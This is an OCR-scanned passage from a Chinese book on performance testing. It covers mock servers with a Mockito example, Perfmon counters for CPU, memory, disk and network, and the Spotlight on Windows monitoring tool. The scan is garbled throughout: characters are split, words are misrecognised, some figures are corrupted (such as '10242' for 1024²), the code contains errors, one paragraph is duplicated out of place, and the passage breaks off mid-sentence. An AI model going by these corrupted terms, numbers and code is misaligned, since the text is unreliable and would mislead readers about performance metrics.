情况 下 的 工作 是 否 正常 。 引 入 Mock 最 大 的 优势 在 于 : Mock 的 行为 固定 ， 它 确保 在 访问 该 Mock 的 某 个 方法 时 总 能 获得 一 个 没有 任何 逻辑 的 直接 就 返回 的 预期 结果 。Meock Server 的 使 用 通常 会 带 来 以 下 好 
处 。 


1) 隔绝 由 其 他 模块 出 错 引起 的 本 模块 的 测试 错误 。 

2) 隔绝 其 他 模块 的 开发 状态 ， 只 要 定义 好 接口 ， 不 用 管 开发 有 没有 完成 。 

3) 一 些 速度 较 慢 的 操作 ， 可 以 用 Mock Object 代 蔡 ， 快 速 返 回 。 

对 于 分 布 式 系统 的 测试 ， 使 用 Mock Object 会 有 另外 两 项 很 重要 的 收益 。 

1) 通过 Mock Object 可 以 将 一 些 分 布 式 测试 转化 为 本 地 的 测试 。 

2) 将 Mock 用 于 压力 测试 ， 可 以 解决 测试 集群 无 法 模拟 线 上 集群 大 规模 下 的 压力 的 问题 。 


现在 一 般 的 Mock Server 往 往 做 得 比较 全 面 ， 因 为 既然 开发 一 个 Mock， 就 应 该 把 它 做 得 较为 完整 。 图 9-12 就 是 最 常见 的 Mock Server 设 计 思 路 ， 这 个 Mock 系 统 包 含 两 个 主要 部 分 : Mock Admin 和 
Mock Server, Mock Admin 是 管理 界面 ， 主 要 提供 监控 (可 以 在 界面 上 实时 看 到 被 测 系统 与 Mock Server 交 互 ) 以 及 手工 测试 时 的 配置 界面 。Mock Server 包 含 几 个 核心 组 件 : HX. Extractor, 
Matcher、 命 令 执行 引擎 、 存 储 ( 即 Mock Server 中 使 用 的 各 种 数据 的 存储 ) , Mock Server 提 供 3 类 接口 : 配置 、Mock 接 口 (各 种 服务 ， 通 过 协议 组 件 提供 ) 、 查 询 。 


图 9-12 Mock Setvet 设 计 思 路 


一 个 简单 的 Mock 流 程 如 下 。 


init mock  // 创 建 nock 对 象 

config mock // 设 置 mock 期 望 

setup mock // 将 mock 对 象 设置 给 被 测 对 象 

call // 调 用 被 测 接口 ， 被 测 接口 中 的 代码 会 调用 mock 对 象 

verify // 验 证 

以 mockito 为 例 : 

User expected = new User ("admin",  "12345") ; 

//init 

UserDAO дао = mock (UserDAO.class) ; 

/ /config 

when (dao.findByName ("admin") ) .thenReturn (expected) ; 

//setup 

UserService service - new UserService (dao) ; 

//call 

User actual = service.login ("admin",  "12345") ; 
//verify or assert 


小 日 在 本 次 测试 过 程 中 也 用 到 了 Mock server 技 术 ， 因 为 Uncle AP 系统 依赖 一 些 其 他 兄弟 团队 的 接口 服务 ， 如 Thunder 接 口 等 。 


95 “操作 系统 性 能 监控 分 析 工 具 的 选择 与 使 用 


准备 好 性 能 测试 环境 之 后 ， 后 面 的 工作 是 等 待 开发 人 员 进 行 性 能 提 测 。 在 这 期 间 ， 小 白 需 要 考虑 的 是 选择 一 些 压力 发 生 器 工具 和 监控 工具 ， 准 备 性 能 测试 数据 。 选 择 性 能 测试 工具 就 是 在 商业 性 能 测试 
工具 和 开源 性 能 测试 工具 之 间 选 择 ， 监 控 工 具 选 择 性 比较 大 ， 比 如 操作 系统 监控 不 仅仅 有 Linux 命 令 行 工具 ， 还 有 nmon、spotlight 等 监控 工具 。 在 整个 性 能 测试 流程 中 ， 需 要 监控 什么 以 及 监控 用 什么 工具 
是 在 正式 进行 性 能 测试 之 前 需要 考虑 的 。 


在 开发 性 能 测试 脚本 之 前 ， 需 要 选择 合适 的 压力 发 生 器 一 一 性 能 测试 工具 。 不 管 是 商业 性 能 测试 工具 (如 LoadRunner) ， 还 是 一 些 开 源 的 性 能 测试 工具 (如 JMeter、Apache ab) ， 或 者 是 自己 编写 
的 多 线程 性 能 测试 框架 ， 其 实质 都 是 采用 多 线程 循环 调用 被 测 系统 接口 ， 从 而 持续 对 被 测 系统 产生 压力 。 在 .Net 项 目 中 介绍 过 性 能 测试 工具 的 选择 ， 这 里 不 再 重复 介绍 。 因 为 用 JMeter 不 方便 查看 脚本 以 及 
脚本 参数 ， 所 以 在 这 个 项 目 中 ， 小 白 还 是 用 LoadRunner 展 示 脚 本 和 执行 性 能 测试 。 


9.5.1 Windows 性 能 监控 工具 选择 以 及 监控 详解 


常用 的 Windows 性 能 监控 工具 有 Windows 自 带 的 Perfmon 和 Quest 公 司 的 Spotlight on Windows 工 具 。 下 面 分 别 介绍 这 两 种 Windows 性 能 监控 工具 。 
1.Perfmon 


Perfmon 是 Windows 自 带 的 性 能 监控 工具 ， 在 Windows 命 令 行 中 输入 Perfmon 就 能 打开 该 工具 ， 如 图 9-13 所 示 。Perfmon 主 要 可 以 提供 操作 系统 的 一 些 基本 数据 ， 如 内 存 、CPU、IMO、 网 络 相关 的 
信息 ， 同 时 提供 图 形 化 报表 ， 具 有 上 日志、 跟踪 和 警报 等 功能 。 
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图 9-13 Регйтоп! 12 TL А. 
(1) Perfmon4£ Jf] 3,8] 


Perfmon 的 计数 器 主要 分 为 4 种 : 处 理 器 性 能 计数 器 、 内 存 性 能 计数 器 、 磁 盘 性 能 计数 器 以 及 网 络 性 能 计数 器 。 这 里 的 对 象 是 指 性 能 监视 器 对 象 。 任 何 一 个 对 象 都 会 有 多 个 计数 器 ， 并 且 可 能 会 有 多 个 
实例 。 在 系统 中 ， 有 多 个 处 理 器 或 系统 有 多 个 硬盘 时 就 是 这 样 的 。 下 面 介 绍 几 个 常见 的 计数 器 ， 更 详细 的 Perfmon 计 数 器 说 明 参 见 附录 E。 


1) CPU 监控 。 
处 理 器 对 象 主要 关注 系统 中 的 CPU， 注 意 有 些 系统 有 多 个 CPU， 计 数 器 对 每 一 个 CPU 都 会 有 一 个 独立 的 实例 来 显示 。 


: Processor: VoProcessor Time， 当 前 所 有 进程 的 处 理 器 时 间 [ 即 CPU 使 用 率 ， 如 果 该 值 持 续 超过 95%，CPU 是 瓶颈 。%Processor Time 值 =100%-Idle ptocess 时 间 比 例 〈( 即 空闲 线程 (Idle Thread) ) ，CPU 空 
闲 时 ， 就 执行 空闲 线程 。 


: Processor: %User Time， 是 系统 非 核 心 操作 消耗 的 CPU 时 间 ， 如 果 是 数据 库 服务 器 的 话 ，%User Time 值 大 的 原因 很 可 能 是 数据 库 的 排序 或 者 函数 操作 消耗 了 过 多 的 CPU 时 间 ， 此 时 可 以 考虑 对 数据 库 系 


统 进行 优化 。 
2) 内 存 监控 。 
@Memory: Available Mbytes， 可 以 使 用 的 内 存 大 小 。 如 果 该 指标 的 数据 比较 小 ， 系 统 可 能 出 现 了 内 存 方面 的 问题 。 


Q)Memory: Pages/sec， 表 明 由 于 硬件 页 面 错误 而 从 磁盘 取出 的 页 面 数 ， 或 者 由 于 页 面 错误 而 写 入 磁盘 而 释放 工作 集 空 间 的 页 面 数 。 一 般 如 果 Pages/sec 持 续 高 于 几 百 ， 那 么 应 该 进一步 研究 页 交换 活 
动 。 有 可 能 需要 增加 内 存 ， 以 减少 换 页 的 需求 。Pages/sec 的 值 很 大 不 一 定 表 明 内 存 有 问题 ， 而 可 能 是 运行 使 用 内 存 映射 文件 的 程序 所 致 。 计 数 器 的 比率 高 表示 分 页 过 多 。 


GMemory: Page Faults/sec 和 Memory Page Reads/sec 计 数 器 测量 内 存 性 能 。 当 进程 所 引用 的 虚拟 内 存 页 不 在 内 存 中 时 ， 将 发 生 页 错误 ，Memory Page Faults/sec 表 示 页 错误 的 个 数 。 如 果 某 页 
已 在 主 内 存 中 ， 或 者 它 正 被 共享 此 页 的 其 他 进程 使 用 ， 那 么 不 会 从 磁盘 调 入 该 页 。 


@Memory: Page Reads/sec 是 读 取 磁盘 ， 以 提取 解决 页 错误 所 需 页 的 次 数 。 从 总 体 上 讲 ， 这 两 个 计数 器 反映 了 访问 磁盘 的 频率 ， 其 值 越 低 ， 说 明 响 应 时 间 越 短 。 
3) MO 监控 。 

我 们 将 Perfmon 的 MO 监控 计数 器 按照 IOPS、IO Size. Throughput (MB/s) 、Disk Response Time 进 行 分 类 ， 以 便 更 容易 理解 和 区 分 。 

Q@ 关 于 磁盘 响应 时 间 (Disk Response Time) 。 

· Avg.Disk sec/Transfer: 显示 了 存储 端 处 理 的 每 个 I/O 的 平均 时 间 。 

· Avg.Disk sec/Read: 显示 了 存储 端 处 理 的 每 个 读 I/O 的 平均 时 间 。 

` Avg.Disk sec/Write: 显示 了 存储 端 处 理 的 每 个 写 I/O 的 平均 时 间 。 


上 述 指标 的 单位 都 是 ms。 这 些 条 目 是 在 性 能 分 析 中 需要 最 先 查 看 的 内 容 ，Disk Response Time 直 接 决定 了 存储 系统 对 应 用 的 服务 水 平 。 通 常用 户 感 觉 到 性 能 问题 ， 可 能 是 因为 磁盘 存储 的 Disk 
Response Time 上 升 而 造成 的 。 


@ 关 于 IO 大 小 (IO Size) 的 条 目 。 

Avg.disk bytes/transfer 直 接 显示 在 采样 期 间 ，Windows 服 务 器 发 送 到 存储 的 IO 的 平均 大 小 。 
GXTIOPS, 

: Disk Transfers/sec: 显示 磁盘 上 的 IJOPS 总 数 ， 直 观 地 显示 了 对 应 LUN 上 的 每 秒 IO 的 吞吐 量 。 
: Disk Reads/sec: 显示 磁盘 每 秒 读 I/O 的 数量 。 


: Disk Writes/sec: 显示 磁盘 每 秒 写 I/O 的 数量 。 


磁盘 一 般 都 有 其 参考 的 |OPS 值 ， 不 见得 大 于 参考 值 就 说 明 一 定 有 性 能 瓶 贷 。 实 际 生产 环境 中 情况 会 更 加 复杂 ， 由 于 存储 阵列 的 缓存 机 制 的 存在 ， 对 于 特定 LUN 的 IOPS 计 算 则 涉及 缓存 的 命中 ， 在 一 个 
健康 的 存储 环境 下 ，1OPS 会 远 高 于 物理 磁盘 理论 值 忆 和。 但 也 不 是 IOPSs 越 高 ， 就 越 说 明 存 储 有 性 能 问题 ， 最 先 需 要 注意 的 还 是 上 面谈 到 的 Disk Response Time。 如 果 1IOPS 处 于 一 个 低 点 ， 并 没有 达到 物理 
磁盘 的 理论 值 ， 但 是 Disk Response Time 很 高 ， 就 说 明 存 储 端 存在 问题 。 


@ 关 于 Throughput (MB/s) 条 目 。 
: Disk Bytes/sec: 显示 磁盘 上 总 的 数据 传输 量 ， 单 位 为 Byte。 
: Disk Read Bytes/sec: 显示 磁盘 上 读数 据 的 传输 量 。 


: Disk Write Bytes/sec: 显示 磁盘 上 写 数 据 的 传输 量 。 


Throughput 值 需要 换算 成 MB， 要 除 以 10242。 这 里 要 提 到 的 一 点 是 ，IOPS 和 带宽 显示 并 不 是 完全 成 正比 的 。 在 通常 情况 下 ， 对 于 小 IO 的 情况 ， 着 重 看 的 是 IOPS， 对 于 大 IMO 的 情况 ， 则 是 
Throughput (MB/s) 。 


@ 其 他 性 能 条 目 。 


%idle time, 96disk time, 96disk read time, %disk write time 这 几 个 值 显示 磁盘 处 于 做 读 写 状态 的 百分比 。 理 论 上 ，disk time% 应 该 小 于 100%， 否 则 说 明 磁 盘 处 于 极度 繁忙 状态 ， 或 存在 性 能 问 
题 。 


Avg.Disk Queue Length, Avg.disk read queue length, Avg.disk write queue length, Current Disk Queue Length 这 几 个 值 显示 了 磁盘 队列 长 度 的 相关 信息 。 所 谓 Disk Queue， 就 是 服务 器 端 


Ейт 
发 出 的 存储 操作 正在 等 待 被 存储 处 理 的 请 求 数目 。 例 如 ， 有 一 个 应 用 发 出 一 条 读 请 求 ， 但 是 目标 磁盘 当时 正在 处 理 其 他 任务 。 那 么 这 个 新 的 读 请 求 就 会 被 放 在 磁盘 队列 里 。 这 时 候 磁盘 队列 的 值 就 是 1。 从 理 


论 上 讲 ，Current Disk Queue Length 不 应 该 长 时 间 大 于 2。Avg.Disk Queue Length 也 是 ， 如 果 看 到 采样 期 间 ， 平 均 Queue Length 大 于 1， 则 说 明 在 采样 的 某 段 时 间 内 ， 人 存储 无 法 完全 响应 应 用 端 发 出 的 
1/O 请 求 。 

4) 网 络 监控 。 主 要 看 Network Interface 对 象 。 
: Network Interface: Bytes teceived/sec， 每 秒 接收 到 的 数据 为 多 少 Bytes， 该 数据 结合 Bytes total/sec 分 析 。 


: Network Interface: Bytes sent/sec， 每 秒 发 送 的 数据 为 多 少 Bytes， 该 数据 结合 Bytes total/sec 分 析 。 


* Network Interface: Bytes total/sec， 机 器 接收 和 发 送 的 数据 总 共 为 多 少 Bytes， 推 荐 不 要 超过 带宽 的 50%。 


То ү? 


: Network Interface: Packets/sec， 每 秒 的 数据 包 数 ， 根 据 实际 数据 量 大 小 ， 无 建议 阅 值 ， 该 数据 结合 Bytes total/sec 分 析 。 
(2) Perfmon 性 能 监控 分 析 
性 能 分 析 常 采用 以 下 几 种 方法 。 
1) 内 存 分 析 方 法 。 
内 存 分 析 用 于 判断 系统 有 无 内 存 瓶 贷 ， 是 否 需 要 通过 增加 内 存 等 手段 提高 系统 性 能 表现 。 内 存 分 析 需 要 使 用 Memory 类 别 和 Physical Disk 类 别 的 计数 器 。 内 存 分 析 的 主要 方法 和 步骤 如 下 。 


@ 查 看 Memory Available Mbytes 指 标 ， 如 果 该 指标 的 数据 比较 小 ， 则 系统 可 能 出 现 了 内 存 方面 的 问题 ， 需 要 执行 下 面 步骤 进一步 分 析 。 
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@ 注 意 Memory Pages/sec, Pages Read/sec 和 Page Faults/sec 的 值 ， 操 作 系 统 会 利用 磁盘 较 好 的 方式 提高 系统 可 用 内 存量 或 者 内 存 的 使 用 效率 。 这 3 个 指标 直接 反映 了 操作 系统 交换 磁盘 的 频 度 。 


Pages/sec 值 持续 走高 ， 可 能 有 内 存 问题 。Pages/sec 值 大 ， 不 一 定 就 表明 有 内 存 问 题 ， 可 能 是 运行 使 用 内 存 映射 文件 的 程序 所 致 。Page Faults/sec 说 明 每 秒 发 生 页 面 失效 的 次 数 ， 页 面 失效 次 数 越 多 ， 说 


明 操作 系统 向 内 存 读 取 的 次 数 越 多 。 此 时 需要 查看 Pages Read/sec 的 计数 值 ， 如 果 超 过 计数 器 的 阔 值 ， 则 可 以 判断 存在 内 存 方面 的 问题 。 


@ 根 据 Physical Disk 计 数 器 的 值 分 析 性 能 瓶 贷 ， 对 Physical Disk 计 数 器 对 象 的 分 析 包 括 对 Page Reads/sec, 96Disk Time 和 Aerage Disk Queue Length 的 分 析 。 如 果 Pages Read/sec 很 低 ， 同 
时 %Disk Time 和 Average Disk Queue Length 很 高 ， 则 可 能 有 磁盘 瓶颈 。 但 是 ， 如 果 队 列 长 度 增加 的 同时 ，Pages Read/sec 并 未 降低 ， 则 是 内 存 不 足 。 


2) 处 理 器 分 析 法 。 


@ 首 先 看 System\%Total Processor Time 性 能 计数 器 的 计数 值 。 该 计数 器 的 值 体 现 服 务 器 整体 处 理 器 的 利用 率 ， 对 多 处 理 器 系统 而 言 ， 该 计数 器 表示 的 是 所 有 CPU 的 平均 利用 率 。 如 果 该 值 持续 超过 
90%， 则 说 明 整 个 系统 面临 着 处 理 器 方面 的 瓶 须 ， 需 要 通过 增加 处 理 器 来 提高 性 能 。 


Qua 在 多 处 理 器 系统 中 ，System\%Total Processor Time 值 本 身 不 大 ,但 多 核 CPU 利 用 率 如 果 极 不 均衡 ， 也 应 该 视 作 系统 产生 处 理 器 方面 的 瓶颈 。 
其 次 查看 每 个 CPU 的 Processon\%Processor Time、Processorn\%User Time 和 Processor\%Privileged Time, 


Processor\%User Time 是 系统 非 核心 操作 消耗 的 CPU 时 间 ， 如 果 该 值 较 大 ， 则 可 以 考虑 是 否 能 通过 友好 算法 等 方法 降低 这 个 值 。 如 果 该 服务 器 是 数据 库 服 务 器 ，Processom%User Time 大 的 原因 很 可 
能 是 数据 库 的 排序 或 者 函数 操作 消耗 了 过 多 的 CPU 时 间 ， 此 时 可 以 考虑 对 数据 库 系 统 进 行 优化 。 


@@ 研 究 系 统 处 理 器 瓶 瑞 ， 查 看 SystemNProcessor Queue Length 计 数 器 的 值 ， 当 该 计数 器 的 值 大 于 CPU 数量 的 总 数 + 1 时 ， 说 明 产 生 了 处 理 器 阻塞 。 当 处 理 器 的 ProcessomN9%Process Time 很 高 时 ， 一 
般 都 随处 理 器 阻塞 ， 但 产生 处 理 器 阻塞 时 ，ProcessomN9%Process Time 计 数 器 的 值 并 不 一 定 很 大 ， 此 时 必须 查找 处 理 器 阻塞 的 原因 。 


3) 磁盘 I/O 分 析 方 法 。 


@ 计 算 每 磁盘 的 MO 数 。 每 磁盘 的 MO 数 可 用 来 与 磁盘 的 MO 能 力 进行 对 比 ， 如 果 经 过 计算 得 到 的 每 磁盘 I/O 数 超过 了 磁盘 标 称 的 MO 能 力 ， 则 说 明确 实 存在 磁盘 的 性 能 瓶颈 。 


@ 与 Processor Privileged Time 合 并 进行 分 析 。 如 果 在 Physical Disk 计 数 器 中 ， 只 有 %Disk Time 比 较 大 ， 其 他 值 都 比较 适中 ， 则 硬盘 可 能 会 是 瓶颈 。 若 几 个 值 都 比较 大 ， 且 数值 持续 超过 80%， 则 可 


能 是 内 存 泄露 。 
@ 根 据 Disk sec/Transfer 进 行 分 析 。 一 般 来 说 ， 定 义 该 数值 小 于 15ms 为 优秀 ， 在 15~30ms 为 良好 ， 在 30~60ms 为 可 以 接受 ， 超 过 60ms 则 需要 考虑 更 换 硬盘 或 者 硬盘 的 RAID 方 式 了 。 
4) 进程 分 析 方 法 。 


@ 查 看 进程 的 %Processor Time 值 。 每 个 进程 的 %Processor Time 反 映 进程 所 消耗 的 处 理 器 时 间 。 对 比 不 同 进程 所 消耗 的 处 理 器 时 间 ， 可 以 看 出 具体 哪个 进程 在 性 能 测试 过 程 中 消耗 了 最 多 的 处 理 器 时 
间 ， 从 而 可 以 据 此 对 应 用 进行 优化 。 


@ 查 看 每 个 进程 产生 的 页 面 失效 。 可 以 用 每 个 进程 产生 的 页 面 失 效 (通过 Process PAGE FAILURES/SEC 计 数 器 获得 ) 和 系统 页 面 失效 (可 以 通过 Memory PAGE FAILURES/SEC 计 数 器 获得 ) 的 比 
值 ， 来 判断 哪个 进程 产生 了 最 多 的 页 面 失效 ， 这 个 进程 要 么 是 需要 大 量 内 存 的 进程 ， 要 么 是 非常 活跃 的 进程 ， 可 以 对 其 进行 重点 分 析 。 


@ 了 解 进程 的 Process Private Bytes, Process Private Bytes 是 指 进程 所 分 配 的 无 法 与 其 他 进程 共享 的 当前 字 节 数 。 该 计数 器 主要 用 来 判断 进程 在 性 能 测试 过 程 中 有 无 内 存 泄露 。 例 如 ， 对 于 一 个 lS 之 
上 的 WEB 应 用 ， 可 以 重点 监控 inetinfo 进 程 的 Private Bytes。 如 果 在 性 能 测试 过 程 中 ， 该 进程 的 Private Bytes 计 数 器 值 不 断 增加 ， 或 是 在 性 能 测试 停止 后 的 一 段 时 间 内 ， 该 进程 的 Private Bytes 仍 然 持续 在 
高 水 平 ， 则 说 明 应 用 存在 内 存 泄露 


5) 网 络 分 析 方 法 。 
@Network Interface\Bytes Total/sec 为 发 送 和 接收 字 节 的 速率 ， 可 以 通过 该 计数 器 值 来 判断 网 络 连 接 速 度 是 否 是 瓶 宽 ， 具 体操 作 方 法 是 比较 该 计数 器 的 值 和 目前 网 络 的 带宽 。 


@ 与 Processor Privileged Time 合 并 进行 分 析 。 如 果 在 Physical Disk 计 数 器 中 ， 只 有 %Disk Time 比 较 大 ， 其 他 值 都 比较 适中 ， 则 硬盘 可 能 会 是 瓶颈 。 若 几 个 值 都 比较 大 ， 且 数值 持续 超过 80%， 则 可 


能 是 内 存 泄露 。 


Spotlight on Windows 是 Quest 开 发 的 一 款 针对 Windows 的 性 能 监控 工具 ，Spotlight on Windows 通 过 实时 地 显示 Windows 操 作 系统 内 部 的 数据 流动 ， 来 快速 识别 和 解决 性 能 问题 。 它 能 监控 包括 
网 络 与 CPU、CPU 与 内 存 、CPU 与 虚拟 内 存 、 内 存 与 磁盘 、 内 存 与 虚拟 内 存 这 些 系统 部 件 之 间 的 实时 数据 流动 图 。 在 图 9-14 中 ， 各 部 件 之 间 绿 色 或 者 黄色 的 连 线 ， 显 示 了 数据 流动 的 方向 ; 连 线 的 下 方 显示 
了 数据 流动 的 速度 。 通 过 这 个 数据 流动 图 ， 可 以 帮助 性 能 测试 人 员 全 面 、 深 入 地 认识 系统 。 
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9-14 Spotlight on Windows 监控 


(1) 下 载 以 及 安装 


Spotlight on Windows 可 以 从 官方 网 站 (http:/, otlight-on-windows/) 上 下 载 ， 安 装 过 程 非常 简单 ， 根 据 安装 向 导 安 装 即 可 。 需 要 注意 的 是 ， 下 载 的 时 候 ， 也 需要 下 载 License 


Key， 因 为 在 使 用 的 时 候 ， 需 要 用 License Key 注 册 。 


(2) 连接 检测 服务 器 


Spotlight 支 持 对 服务 器 的 本 地 监控 和 远程 监控 ， 不 过 在 监控 之 前 需要 创建 相应 的 连接 ， 然 后 激活 该 连接 ， 即 可 实施 对 服务 器 的 监控 。 创 建 连接 的 过 程 比较 简单 ， 分 别 以 创建 本 地 连接 和 远程 连接 为 例 来 
说 明 。 运 行 Spotlight， 打 开 其 主 界面 ， 在 左 侧 的 窗 格 中 有 3 个 功能 项 Live connections (活动 连接 ) 、All connections (所 有 连接 ) 、Welcome to Spotlight (欢迎 到 Spotlight) 。All connections 项 下 
面 有 两 项 : Spotlight on windows (freeware) 和 Spotlight on windows Clusters， 第 一 项 用 来 创建 和 设置 本 地 监控 的 连接 ， 第 二 项 实施 集群 监控 ， 即 在 本 地 对 多 个 服务 器 实施 监控 。 下 面 以 本 地 监控 为 
例 演示 如 何 创建 服务 器 连接 。 


用 鼠标 右键 单 击 “spotlight on windows (freeware) “， 选 择 “Connection manager”， 打 开 连 接管 理 窗口 。 双 击 “New connection”， 打 开 连 接 设置 向 导 ， 在 “Select connection type” rh 
选择 “Spotlight on windows (freeware) " , Œ "New connection name" 后 输入 连接 名 (本 例 为 Windows 7) , 8 "ОК" 按钮 ， 进 入 下 一 步 设置 面板 。 在 该 面板 中 需要 输入 各 种 连接 信息 ， 如 果 
要 对 远程 服务 器 进行 监控 ， 则 要 分 别 输入 其 |P 地 址 、Domain (域名 ) . User (ВР) . Password (密码 ) ， 因 为 是 本 地 监控 ， 所 以 勾 选 Local Machine 即 可 。 单 击 “OK” 按钮 ， 这 样 一 条 连接 就 创建 完 
毕 了 ， 如 图 9-15 所 示 。 


图 9-15 Spotlight on Windows 配 置 连接 


如 果 要 对 某 个 连接 的 属性 进行 修改 ， 可 选中 该 连接 ， 然 后 单 击 展开 其 右 侧 的 “Tools” 菜 单 ， 选 择 “Properties” 进 行 更 改 ， 同 时 在 此 菜单 项 下 可 对 连接 进行 删除 、 更 名 等 操作 。 
(3) 服务 器 性 能 监控 及 分 析 


在 Spotlight 主 窗口 ， 依 次 单 击 All connections—Spotlight on windows (freeware) ， 找 到 刚才 创建 的 名 为 “New Connection” 的 连接 ， 双 击 该 连接 可 以 看 到 右上 角形 象 的 连接 过 程 ， 连 接 过 程 中 
会 弹出 一 个 对 话 框 ， 让 用 户 选 择 设置 一 个 校正 时 间 (这 个 校正 时 间 其 实 就 是 Spotlight 记 录 服 务 器 运行 状况 的 一 个 时 间 段 ， 它 会 保存 这 段 时 间 内 服务 器 所 有 运行 状态 的 参数 ， 大 家 可 根据 需要 选择 ) ， 默 认为 
1 小 时 ， 设 置 完成 后 ， 勾 选 Always calibrate new connections using this seting， 此 后 就 使 用 该 选项 。 单 击 OK 按钮 连接 成 功 ， 在 Live connections 中 出 现 该 连接 并 显示 红色 ， 另 外 系统 任务 栏 中 的 
spotlight 也 显示 为 红 ， 此 后 根据 服务 器 的 运行 状态 呈现 红 、 黄 、 蓝 变化 ， 并 且 在 右 侧 的 窗 格 中 显示 服务 器 当前 的 各 种 运行 参数 ， 如 图 9-14 所 示 。 


1) 红色 警报 : 在 服务 器 的 监控 面板 中 可 以 看 到 诸如 System、Network、CPU、Memory、Paging Files、Disks 等 运行 状况 。Spotlight 以 红 、 黄 、 蓝 3 种 颜色 标识 服务 器 各 组 件 的 运行 状况 : 红色 表示 
警报 提示 ， 如 果 哪 项 参数 显示 红色 ， 就 表示 当前 服务 器 的 该 组 件 性 能 告急 或 者 出 现 了 性 能 瓶颈 ， 需 要 进行 分 析 。 如 图 9-16 所 示 ， 服 务 器 的 CPU 利用 率 太 大 ， 达 到 了 100%。 单 击 Total CPU Usage 区 域 弹出 
警告 说 明 并 为 管理 员 提供 解决 方案 。 哪 一 项 显示 为 黄色 ， 就 表示 该 项 处 于 亚 健康 状态 ， 需 要 管理 防范 和 注意 了 。 如 果 是 绿色 ， 则 该 项 运行 正常 。 
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Individual CPU Usage alarm 


The Windows individual CPU alarm is activated when 
the CPU utilization of a single processor exceeds a 
threshold. This value is taken over a specific number 
of refresh intervals (by default, four). 
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2) 进程 监控 : 单 击 Spotlight 工 具 栏 中 的 “Processes” 按 钮 ， 可 以 查看 服务 器 当前 运行 的 进程 情况 。 单 击 某 进 程 ， 会 在 下 面 出 现 一 个 框架 窗口 显示 该 进程 的 详细 信息 ，“Process Details” 项 下 显示 了 
该 进程 的 各 项 属性 ， 诸 如 CPU User Mode, CPU Kernel Mode 等 在 Windows 7 的 进程 管理 器 中 看 不 到 的 内 容 ， 这 对 于 有 经 验 的 性 能 测试 人 员 进 行进 程 分 析 、 排 错 是 非常 有 帮助 的 。 单 击 “Process 
History” 项 ， 会 以 图 表 的 形式 每 间隔 10 分 钟 形象 显示 该 进行 的 Page、Memory、Reads/Writes 等 参数 的 历史 信息 ， 如 图 9-17 所 示 。 这 比 Windows 7 的 Perform 记 录 的 数据 要 生动 得 多 ， 也 丰富 得 多 。 
ft "Process Threads" 项 下 可 以 看 到 该 进程 的 线程 信息 ， 这 更 是 Perfmon 的 进程 管理 器 所 不 具备 的 。 “Processes” 项 还 包括 Services 和 System Drivers。Services 可 以 查看 服务 器 当前 的 服务 运行 状 
况 ，Spotlight 中 的 服务 查看 工具 以 树 形 结构 组 织 各 种 服务 ， 可 以 让 性 能 测试 人 员 看 清 服务 之 间 的 从 属 关 系 ， 并 且 显 示 的 服务 更 全 面 。System Drivers 襄 括 了 服务 器 所 有 驱动 的 信息 ， 并 且 表 了 明 驱 动 的 类 型 、 
状态 ， 这 在 优化 服务 器 中 非常 有 用 。 


3) CPU 监控 : CPU 是 考量 服务 器 性 能 的 主要 指标 ， 也 是 服务 器 监控 的 重点 。 单 击 Spotlight 工 具 栏 中 的 “CPU” 按钮 ， 可 以 查看 服务 器 当前 CPU 的 运行 状态 ，Spotlight 以 图 表 的 形式 显示 CPU 的 个 性 性 
能 参数 ， 如 图 9-18 所 示 ， 其 中 有 对 服务 器 特别 重要 的 “Server Work Queues” , “Kilobytes Transferred" 等 参数 。Server Work Queues 显 示 了 服务 器 对 各 种 请 求 响应 能 力 的 状况 ，Kilobytes 
Transferred 显 示 了 服务 器 的 传输 速度 。 这 两 项 参数 是 对 服务 器 监控 的 重点 ， 特 别 是 在 Web、SQL 等 与 客户 端 交 互 比较 频繁 的 服务 器 中 ， 这 两 项 指标 至 关 重 要 。 另 外 ，Spotlight 还 支持 多 线程 、 多 核 CPU 的 
监控 。Spotlight 记 录 了 服务 器 CPU 运行 的 历史 记录 ， 支 持 以 图 表 形 式 显示 性 能 参数 、 保 存 服务 器 运行 参数 。 
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4) 内 存 监控 : 内 存 是 服务 器 性 能 的 另 一 项 重要 指标 ， 也 是 服务 器 监控 中 不 可 忽视 的 。 单 击 Spotlight 工 具 栏 中 的 “Memory” 按 钮 ， 可 以 查看 服务 器 当前 内 存 的 运行 状态 ，Spotlight 同 样 以 图 表 形式 显 
示 服 务 器 的 内 存 利用 情况 ， 如 图 9-19 所 示 。 与 内 存 相关 的 参数 有 Physical Memory (物理 内 存 ) . Virtual Memory (虚拟 内 存 ) 、Paging (页 面 文件 ) 、Physical Memory Usage (物理 内 存 利 用 率 ) 。 
Paging Activity 项 可 以 查看 页 面 文件 的 使 用 情况 ， 包 括 读 写 的 频率 、 大 小 等 。Cache 项 显示 的 是 内 存 的 缓存 利用 情况 ， 内 存 缓存 的 大 小 对 于 提高 服务 器 的 运行 效率 至 关 重 要 。 
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5) 磁盘 监控 : 磁盘 是 一 项 重要 的 服务 器 资源 ， 对 于 FTP、Web、3SQL 等 服务 器 磁盘 的 监控 非常 必要 。 单 击 Spotlight 工 具 栏 中 的 “Disks” 按钮 ， 可 以 查看 服务 器 当前 磁盘 的 运行 状况 。 在 “Logical 
Disk Activity” 功 能 项 下 可 以 看 到 当前 服务 器 一 个 小 时 之 内 的 磁盘 性 能 状况 ， 其 相关 的 参数 有 读 、 写 、 请 求 、 传 输 速率 等 。 从 图 9-20 中 可 以 看 到 服务 器 的 C 盘 读 写 比 D 盘 和 F 盘 要 繁忙 一 些 ， 据 此 性 能 测试 人 
员 可 在 服务 器 的 各 磁盘 中 均衡 部 署 相关 的 服务 软件 ， 以 减轻 某 个 分 区 的 读 写 、 请 求 压力 ， 提 高 服务 器 磁盘 性 能 。 
监控 服务 器 的 运行 状况 。 “Logical Disk Space Usage" 功能 项 显示 磁盘 各 分 区 的 利用 率 。 
信息 。 


"Physical Disk Activity” 功 能 项 和 Logical Disk Activity 类 似 ， 只 不 过 是 从 物理 磁盘 的 角度 
"Disk Summary” 是 磁盘 信息 摘要 ， 一 般 服 务 器 多 个 磁盘 都 做 成 了 RAID， 通 过 该 功能 可 以 分 别 查看 各 个 磁盘 的 
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6) 网 络 监控 : 对 于 客户 端 来 说 ， 服 务 器 的 网 络 性 能 是 在 性 能 测试 中 比较 关心 的 ， 也 是 服务 器 监控 的 重点 。 例 如 ， 对 上 传 或 者 下 载 功能 进行 性 能 测试 ， 负 载 机 和 负载 机 的 带宽 往往 会 成 为 性 能 瓶颈 。 单 
